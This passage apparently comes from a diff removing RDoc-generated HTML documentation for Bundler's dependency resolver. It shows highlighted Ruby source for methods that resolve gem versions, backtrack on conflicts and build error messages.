-416:           <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;  In Gemfile:\n&quot;</span>
-417: 
-418:           <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">gem_message</span>(<span class="ruby-identifier">requirement</span>)
-419: 
-420:           <span class="ruby-comment cmt"># If the origin is &quot;bundler&quot;, the conflict is us</span>
-421:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">origin</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;bundler&quot;</span>
-422:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;  Current Bundler version:\n&quot;</span>
-423:             <span class="ruby-identifier">newer_bundler_required</span> = <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">requirement</span> <span class="ruby-operator">&gt;</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Requirement</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">origin</span>.<span class="ruby-identifier">version</span>)
-424:           <span class="ruby-comment cmt"># If the origin is a LockfileParser, it does not respond_to :required_by</span>
-425:           <span class="ruby-keyword kw">elsif</span> <span class="ruby-operator">!</span><span class="ruby-identifier">origin</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:required_by</span>) <span class="ruby-operator">||</span> <span class="ruby-operator">!</span>(<span class="ruby-identifier">origin</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">first</span>)
-426:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;  In snapshot (Gemfile.lock):\n&quot;</span>
-427:           <span class="ruby-keyword kw">end</span>
-428: 
-429:           <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">gem_message</span>(<span class="ruby-identifier">origin</span>)
-430: 
-431:           <span class="ruby-comment cmt"># If the bundle wants a newer bundler than the running bundler, explain</span>
-432:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">origin</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;bundler&quot;</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">newer_bundler_required</span>
-433:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;Your version of Bundler is older than the one requested by the Gemfile.\n&quot;</span>
-434:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;Perhaps you need to update Bundler by running `gem install bundler`.&quot;</span>
-435:           <span class="ruby-keyword kw">end</span>
-436: 
-437:         <span class="ruby-comment cmt"># origin is nil if the required gem and version cannot be found in any of</span>
-438:         <span class="ruby-comment cmt"># the specified sources</span>
-439:         <span class="ruby-keyword kw">else</span>
-440: 
-441:           <span class="ruby-comment cmt"># if the gem cannot be found because of a version conflict between lockfile and gemfile,</span>
-442:           <span class="ruby-comment cmt"># print a useful error that suggests running `bundle update`, which may fix things</span>
-443:           <span class="ruby-comment cmt">#</span>
-444:           <span class="ruby-comment cmt"># @base is a SpecSet of the gems in the lockfile</span>
-445:           <span class="ruby-comment cmt"># conflict is the name of the gem that could not be found</span>
-446:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">locked</span> = <span class="ruby-ivar">@base</span>[<span class="ruby-identifier">conflict</span>].<span class="ruby-identifier">first</span>
-447:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Bundler could not find compatible versions for gem #{conflict.inspect}:\n&quot;</span>
-448:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;  In snapshot (Gemfile.lock):\n&quot;</span>
-449:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;    #{clean_req(locked)}\n\n&quot;</span>
-450: 
-451:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;  In Gemfile:\n&quot;</span>
-452:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">gem_message</span>(<span class="ruby-identifier">requirement</span>)
-453:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;Running `bundle update` will rebuild your snapshot from scratch, using only\n&quot;</span>
-454:             <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;the gems in your Gemfile, which may resolve the conflict.\n&quot;</span>
-455: 
-456:           <span class="ruby-comment cmt"># the rest of the time, the gem cannot be found because it does not exist in the known sources</span>
-457:           <span class="ruby-keyword kw">else</span>
-458:             <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">first</span>
-459:               <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Could not find gem '#{clean_req(requirement)}', required by '#{clean_req(requirement.required_by.first)}', in any of the sources\n&quot;</span>
-460:             <span class="ruby-keyword kw">else</span>
-461:               <span class="ruby-identifier">o</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Could not find gem '#{clean_req(requirement)} in any of the sources\n&quot;</span>
-462:             <span class="ruby-keyword kw">end</span>
-463:           <span class="ruby-keyword kw">end</span>
-464: 
-465:         <span class="ruby-keyword kw">end</span>
-466:         <span class="ruby-identifier">o</span>
-467:       <span class="ruby-keyword kw">end</span>
-468:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="gem-message-method" class="method-detail ">
-				<a name="method-i-gem_message"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gem_message</span><span
-						class="method-args">(requirement)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-For a given conflicted requirement, print out what exactly went wrong
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="gem-message-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 395</span>
-395:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gem_message</span>(<span class="ruby-identifier">requirement</span>)
-396:       <span class="ruby-identifier">m</span> = <span class="ruby-value str">&quot;&quot;</span>
-397: 
-398:       <span class="ruby-comment cmt"># A requirement that is required by itself is actually in the Gemfile, and does</span>
-399:       <span class="ruby-comment cmt"># not &quot;depend on&quot; itself</span>
-400:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">first</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">!=</span> <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">name</span>
-401:         <span class="ruby-identifier">m</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;    #{clean_req(requirement.required_by.first)} depends on\n&quot;</span>
-402:         <span class="ruby-identifier">m</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;      #{clean_req(requirement)}\n&quot;</span>
-403:       <span class="ruby-keyword kw">else</span>
-404:         <span class="ruby-identifier">m</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;    #{clean_req(requirement)}\n&quot;</span>
-405:       <span class="ruby-keyword kw">end</span>
-406:       <span class="ruby-identifier">m</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;\n&quot;</span>
-407:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<div id="gems-size-method" class="method-detail ">
-				<a name="method-i-gems_size"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gems_size</span><span
-						class="method-args">(dep)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-						id="gems-size-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 353</span>
-353:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gems_size</span>(<span class="ruby-identifier">dep</span>)
-354:       <span class="ruby-ivar">@gems_size</span>[<span class="ruby-identifier">dep</span>] <span class="ruby-operator">||=</span> <span class="ruby-identifier">search</span>(<span class="ruby-identifier">dep</span>).<span class="ruby-identifier">size</span>
-355:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-		
-			<div id="resolve-method" class="method-detail ">
-				<a name="method-i-resolve"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">resolve</span><span
-						class="method-args">(reqs, activated)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-					<div class="method-source-code"
-						id="resolve-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 163</span>
-163:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">resolve</span>(<span class="ruby-identifier">reqs</span>, <span class="ruby-identifier">activated</span>)
-164:       <span class="ruby-comment cmt"># If the requirements are empty, then we are in a success state. Aka, all</span>
-165:       <span class="ruby-comment cmt"># gem dependencies have been resolved.</span>
-166:       <span class="ruby-identifier">throw</span> <span class="ruby-value">:success</span>, <span class="ruby-identifier">successify</span>(<span class="ruby-identifier">activated</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">reqs</span>.<span class="ruby-identifier">empty?</span>
-167: 
-168:       <span class="ruby-identifier">debug</span> { <span class="ruby-identifier">print</span> <span class="ruby-value str">&quot;\e[2J\e[f&quot;</span> ; <span class="ruby-value str">&quot;==== Iterating ====\n\n&quot;</span> }
-169: 
-170:       <span class="ruby-comment cmt"># Sort dependencies so that the ones that are easiest to resolve are first.</span>
-171:       <span class="ruby-comment cmt"># Easiest to resolve is defined by:</span>
-172:       <span class="ruby-comment cmt">#   1) Is this gem already activated?</span>
-173:       <span class="ruby-comment cmt">#   2) Do the version requirements include prereleased gems?</span>
-174:       <span class="ruby-comment cmt">#   3) Sort by number of gems available in the source.</span>
-175:       <span class="ruby-identifier">reqs</span> = <span class="ruby-identifier">reqs</span>.<span class="ruby-identifier">sort_by</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">a</span><span class="ruby-operator">|</span>
-176:         [ <span class="ruby-identifier">activated</span>[<span class="ruby-identifier">a</span>.<span class="ruby-identifier">name</span>] <span class="ruby-operator">?</span> <span class="ruby-value">0</span> <span class="ruby-operator">:</span> <span class="ruby-value">1</span>,
-177:           <span class="ruby-identifier">a</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">prerelease?</span> <span class="ruby-operator">?</span> <span class="ruby-value">0</span> <span class="ruby-operator">:</span> <span class="ruby-value">1</span>,
-178:           <span class="ruby-ivar">@errors</span>[<span class="ruby-identifier">a</span>.<span class="ruby-identifier">name</span>]   <span class="ruby-operator">?</span> <span class="ruby-value">0</span> <span class="ruby-operator">:</span> <span class="ruby-value">1</span>,
-179:           <span class="ruby-identifier">activated</span>[<span class="ruby-identifier">a</span>.<span class="ruby-identifier">name</span>] <span class="ruby-operator">?</span> <span class="ruby-value">0</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">gems_size</span>(<span class="ruby-identifier">a</span>) ]
-180:       <span class="ruby-keyword kw">end</span>
-181: 
-182:       <span class="ruby-identifier">debug</span> { <span class="ruby-value str">&quot;Activated:\n&quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">activated</span>.<span class="ruby-identifier">values</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">a</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;  #{a.name} (#{a.version})&quot;</span> }.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;\n&quot;</span>) }
-183:       <span class="ruby-identifier">debug</span> { <span class="ruby-value str">&quot;Requirements:\n&quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">reqs</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;  #{r.name} (#{r.requirement})&quot;</span>}.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;\n&quot;</span>) }
-184: 
-185:       <span class="ruby-identifier">activated</span> = <span class="ruby-identifier">activated</span>.<span class="ruby-identifier">dup</span>
-186: 
-187:       <span class="ruby-comment cmt"># Pull off the first requirement so that we can resolve it</span>
-188:       <span class="ruby-identifier">current</span> = <span class="ruby-identifier">reqs</span>.<span class="ruby-identifier">shift</span>
-189: 
-190:       <span class="ruby-identifier">debug</span> { <span class="ruby-node">&quot;Attempting:\n  #{current.name} (#{current.requirement})&quot;</span>}
-191: 
-192:       <span class="ruby-comment cmt"># Check if the gem has already been activated, if it has, we will make sure</span>
-193:       <span class="ruby-comment cmt"># that the currently activated gem satisfies the requirement.</span>
-194:       <span class="ruby-identifier">existing</span> = <span class="ruby-identifier">activated</span>[<span class="ruby-identifier">current</span>.<span class="ruby-identifier">name</span>]
-195:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">existing</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">current</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'bundler'</span>
-196:         <span class="ruby-comment cmt"># Force the current</span>
-197:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">current</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'bundler'</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-identifier">existing</span>
-198:           <span class="ruby-identifier">existing</span> = <span class="ruby-identifier">search</span>(<span class="ruby-constant">DepProxy</span>.<span class="ruby-identifier">new</span>(<span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-value str">'bundler'</span>, <span class="ruby-constant">VERSION</span>), <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span>)).<span class="ruby-identifier">first</span>
-199:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemNotFound</span>, <span class="ruby-node">%{Bundler could not find gem &quot;bundler&quot; (#{VERSION})}</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">existing</span>
-200:           <span class="ruby-identifier">existing</span>.<span class="ruby-identifier">required_by</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">existing</span>
-201:           <span class="ruby-identifier">activated</span>[<span class="ruby-value str">'bundler'</span>] = <span class="ruby-identifier">existing</span>
-202:         <span class="ruby-keyword kw">end</span>
-203: 
-204:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">current</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">satisfied_by?</span>(<span class="ruby-identifier">existing</span>.<span class="ruby-identifier">version</span>)
-205:           <span class="ruby-identifier">debug</span> { <span class="ruby-value str">&quot;    * [SUCCESS] Already activated&quot;</span> }
-206:           <span class="ruby-ivar">@errors</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">existing</span>.<span class="ruby-identifier">name</span>)
-207:           <span class="ruby-comment cmt"># Since the current requirement is satisfied, we can continue resolving</span>
-208:           <span class="ruby-comment cmt"># the remaining requirements.</span>
-209: 
-210:           <span class="ruby-comment cmt"># I have no idea if this is the right way to do it, but let's see if it works</span>
-211:           <span class="ruby-comment cmt"># The current requirement might activate some other platforms, so let's try</span>
-212:           <span class="ruby-comment cmt"># adding those requirements here.</span>
-213:           <span class="ruby-identifier">reqs</span>.<span class="ruby-identifier">concat</span> <span class="ruby-identifier">existing</span>.<span class="ruby-identifier">activate_platform</span>(<span class="ruby-identifier">current</span>.<span class="ruby-identifier">__platform</span>)
-214: 
-215:           <span class="ruby-identifier">resolve</span>(<span class="ruby-identifier">reqs</span>, <span class="ruby-identifier">activated</span>)
-216:         <span class="ruby-keyword kw">else</span>
-217:           <span class="ruby-identifier">debug</span> { <span class="ruby-value str">&quot;    * [FAIL] Already activated&quot;</span> }
-218:           <span class="ruby-ivar">@errors</span>[<span class="ruby-identifier">existing</span>.<span class="ruby-identifier">name</span>] = [<span class="ruby-identifier">existing</span>, <span class="ruby-identifier">current</span>]
-219:           <span class="ruby-identifier">debug</span> { <span class="ruby-identifier">current</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">map</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;      * #{d.name} (#{d.requirement})&quot;</span> }.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;\n&quot;</span>) }
-220:           <span class="ruby-comment cmt"># debug { &quot;    * All current conflicts:\n&quot; + @errors.keys.map { |c| &quot;      - #{c}&quot; }.join(&quot;\n&quot;) }</span>
-221:           <span class="ruby-comment cmt"># Since the current requirement conflicts with an activated gem, we need</span>
-222:           <span class="ruby-comment cmt"># to backtrack to the current requirement's parent and try another version</span>
-223:           <span class="ruby-comment cmt"># of it (maybe the current requirement won't be present anymore). If the</span>
-224:           <span class="ruby-comment cmt"># current requirement is a root level requirement, we need to jump back to</span>
-225:           <span class="ruby-comment cmt"># where the conflicting gem was activated.</span>
-226:           <span class="ruby-identifier">parent</span> = <span class="ruby-identifier">current</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">last</span>
-227:           <span class="ruby-comment cmt"># `existing` could not respond to required_by if it is part of the base set</span>
-228:           <span class="ruby-comment cmt"># of specs that was passed to the resolver (aka, instance of LazySpecification)</span>
-229:           <span class="ruby-identifier">parent</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">existing</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">last</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">existing</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:required_by</span>)
-230:           <span class="ruby-comment cmt"># We track the spot where the current gem was activated because we need</span>
-231:           <span class="ruby-comment cmt"># to keep a list of every spot a failure happened.</span>
-232:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">parent</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">parent</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">!=</span> <span class="ruby-value str">'bundler'</span>
-233:             <span class="ruby-identifier">debug</span> { <span class="ruby-node">&quot;    -&gt; Jumping to: #{parent.name}&quot;</span> }
-234:             <span class="ruby-identifier">required_by</span> = <span class="ruby-identifier">existing</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:required_by</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">existing</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">last</span>
-235:             <span class="ruby-identifier">throw</span> <span class="ruby-identifier">parent</span>.<span class="ruby-identifier">name</span>, <span class="ruby-identifier">required_by</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">name</span>
-236:           <span class="ruby-keyword kw">else</span>
-237:             <span class="ruby-comment cmt"># The original set of dependencies conflict with the base set of specs</span>
-238:             <span class="ruby-comment cmt"># passed to the resolver. This is by definition an impossible resolve.</span>
-239:             <span class="ruby-identifier">raise</span> <span class="ruby-identifier">version_conflict</span>
-240:           <span class="ruby-keyword kw">end</span>
-241:         <span class="ruby-keyword kw">end</span>
-242:       <span class="ruby-keyword kw">else</span>
-243:         <span class="ruby-comment cmt"># There are no activated gems for the current requirement, so we are going</span>
-244:         <span class="ruby-comment cmt"># to find all gems that match the current requirement and try them in decending</span>
-245:         <span class="ruby-comment cmt"># order. We also need to keep a set of all conflicts that happen while trying</span>
-246:         <span class="ruby-comment cmt"># this gem. This is so that if no versions work, we can figure out the best</span>
-247:         <span class="ruby-comment cmt"># place to backtrack to.</span>
-248:         <span class="ruby-identifier">conflicts</span> = <span class="ruby-constant">Set</span>.<span class="ruby-identifier">new</span>
-249: 
-250:         <span class="ruby-comment cmt"># Fetch all gem versions matching the requirement</span>
-251:         <span class="ruby-comment cmt">#</span>
-252:         <span class="ruby-comment cmt"># TODO: Warn / error when no matching versions are found.</span>
-253:         <span class="ruby-identifier">matching_versions</span> = <span class="ruby-identifier">search</span>(<span class="ruby-identifier">current</span>)
-254: 
-255:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">matching_versions</span>.<span class="ruby-identifier">empty?</span>
-256:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">current</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">empty?</span>
-257:             <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">base</span> = <span class="ruby-ivar">@base</span>[<span class="ruby-identifier">current</span>.<span class="ruby-identifier">name</span>] <span class="ruby-keyword kw">and</span> <span class="ruby-operator">!</span><span class="ruby-identifier">base</span>.<span class="ruby-identifier">empty?</span>
-258:               <span class="ruby-identifier">version</span> = <span class="ruby-identifier">base</span>.<span class="ruby-identifier">first</span>.<span class="ruby-identifier">version</span>
-259:               <span class="ruby-identifier">message</span> = <span class="ruby-value str">&quot;You have requested:\n&quot;</span>                      <span class="ruby-node">&quot;  #{current.name} #{current.requirement}\n\n&quot;</span>                      <span class="ruby-node">&quot;The bundle currently has #{current.name} locked at #{version}.\n&quot;</span>                      <span class="ruby-node">&quot;Try running `bundle update #{current.name}`&quot;</span>
-260:             <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">current</span>.<span class="ruby-identifier">source</span>
-261:               <span class="ruby-identifier">name</span> = <span class="ruby-identifier">current</span>.<span class="ruby-identifier">name</span>
-262:               <span class="ruby-identifier">versions</span> = <span class="ruby-ivar">@source_requirements</span>[<span class="ruby-identifier">name</span>][<span class="ruby-identifier">name</span>].<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">version</span> }
-263:               <span class="ruby-identifier">message</span>  = <span class="ruby-node">&quot;Could not find gem '#{current}' in #{current.source}.\n&quot;</span>
-264:               <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">versions</span>.<span class="ruby-identifier">any?</span>
-265:                 <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Source contains '#{name}' at: #{versions.join(', ')}&quot;</span>
-266:               <span class="ruby-keyword kw">else</span>
-267:                 <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Source does not contain any versions of '#{current}'&quot;</span>
-268:               <span class="ruby-keyword kw">end</span>
-269:             <span class="ruby-keyword kw">else</span>
-270:               <span class="ruby-identifier">message</span> = <span class="ruby-node">&quot;Could not find gem '#{current}' &quot;</span>
-271:               <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@index</span>.<span class="ruby-identifier">sources</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Rubygems</span>)
-272:                 <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;in any of the gem sources listed in your Gemfile.&quot;</span>
-273:               <span class="ruby-keyword kw">else</span>
-274:                 <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;in the gems available on this machine.&quot;</span>
-275:               <span class="ruby-keyword kw">end</span>
-276:             <span class="ruby-keyword kw">end</span>
-277:             <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemNotFound</span>, <span class="ruby-identifier">message</span>
-278:           <span class="ruby-keyword kw">else</span>
-279:             <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@missing_gems</span>[<span class="ruby-identifier">current</span>] <span class="ruby-operator">&gt;=</span> <span class="ruby-value">5</span>
-280:               <span class="ruby-identifier">message</span> =  <span class="ruby-node">&quot;Bundler could not find find gem #{current.required_by.last},&quot;</span>
-281:               <span class="ruby-identifier">message</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;which is required by gem #{current}.&quot;</span>
-282:               <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemNotFound</span>, <span class="ruby-identifier">message</span>
-283:             <span class="ruby-keyword kw">end</span>
-284:             <span class="ruby-ivar">@missing_gems</span>[<span class="ruby-identifier">current</span>] <span class="ruby-operator">+=</span> <span class="ruby-value">1</span>
-285: 
-286:             <span class="ruby-identifier">debug</span> { <span class="ruby-node">&quot;    Could not find #{current} by #{current.required_by.last}&quot;</span> }
-287:             <span class="ruby-ivar">@errors</span>[<span class="ruby-identifier">current</span>.<span class="ruby-identifier">name</span>] = [<span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">current</span>]
-288:           <span class="ruby-keyword kw">end</span>
-289:         <span class="ruby-keyword kw">end</span>
-290: 
-291:         <span class="ruby-identifier">matching_versions</span>.<span class="ruby-identifier">reverse_each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">spec_group</span><span class="ruby-operator">|</span>
-292:           <span class="ruby-identifier">conflict</span> = <span class="ruby-identifier">resolve_requirement</span>(<span class="ruby-identifier">spec_group</span>, <span class="ruby-identifier">current</span>, <span class="ruby-identifier">reqs</span>.<span class="ruby-identifier">dup</span>, <span class="ruby-identifier">activated</span>.<span class="ruby-identifier">dup</span>)
-293:           <span class="ruby-identifier">conflicts</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">conflict</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">conflict</span>
-294:         <span class="ruby-keyword kw">end</span>
-295:         <span class="ruby-comment cmt"># If the current requirement is a root level gem and we have conflicts, we</span>
-296:         <span class="ruby-comment cmt"># can figure out the best spot to backtrack to.</span>
-297:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">current</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-identifier">conflicts</span>.<span class="ruby-identifier">empty?</span>
-298:           <span class="ruby-comment cmt"># Check the current &quot;catch&quot; stack for the first one that is included in the</span>
-299:           <span class="ruby-comment cmt"># conflicts set. That is where the parent of the conflicting gem was required.</span>
-300:           <span class="ruby-comment cmt"># By jumping back to this spot, we can try other version of the parent of</span>
-301:           <span class="ruby-comment cmt"># the conflicting gem, hopefully finding a combination that activates correctly.</span>
-302:           <span class="ruby-ivar">@stack</span>.<span class="ruby-identifier">reverse_each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">savepoint</span><span class="ruby-operator">|</span>
-303:             <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">conflicts</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">savepoint</span>)
-304:               <span class="ruby-identifier">debug</span> { <span class="ruby-node">&quot;    -&gt; Jumping to: #{savepoint}&quot;</span> }
-305:               <span class="ruby-identifier">throw</span> <span class="ruby-identifier">savepoint</span>
-306:             <span class="ruby-keyword kw">end</span>
-307:           <span class="ruby-keyword kw">end</span>
-308:         <span class="ruby-keyword kw">end</span>
-309:       <span class="ruby-keyword kw">end</span>
-310:     <span class="ruby-keyword kw">end</span></pre>
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-		
-			<div id="resolve-requirement-method" class="method-detail ">
-				<a name="method-i-resolve_requirement"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">resolve_requirement</span><span
-						class="method-args">(spec_group, requirement, reqs, activated)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-						id="resolve-requirement-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 315</span>
-315:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">resolve_requirement</span>(<span class="ruby-identifier">spec_group</span>, <span class="ruby-identifier">requirement</span>, <span class="ruby-identifier">reqs</span>, <span class="ruby-identifier">activated</span>)
-316:       <span class="ruby-comment cmt"># We are going to try activating the spec. We need to keep track of stack of</span>
-317:       <span class="ruby-comment cmt"># requirements that got us to the point of activating this gem.</span>
-318:       <span class="ruby-identifier">spec_group</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">replace</span> <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">required_by</span>
-319:       <span class="ruby-identifier">spec_group</span>.<span class="ruby-identifier">required_by</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">requirement</span>
-320: 
-321:       <span class="ruby-identifier">activated</span>[<span class="ruby-identifier">spec_group</span>.<span class="ruby-identifier">name</span>] = <span class="ruby-identifier">spec_group</span>
-322:       <span class="ruby-identifier">debug</span> { <span class="ruby-node">&quot;  Activating: #{spec_group.name} (#{spec_group.version})&quot;</span> }
-323:       <span class="ruby-identifier">debug</span> { <span class="ruby-identifier">spec_group</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;    * #{d.name} (#{d.requirement})&quot;</span> }.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;\n&quot;</span>) }
-324: 
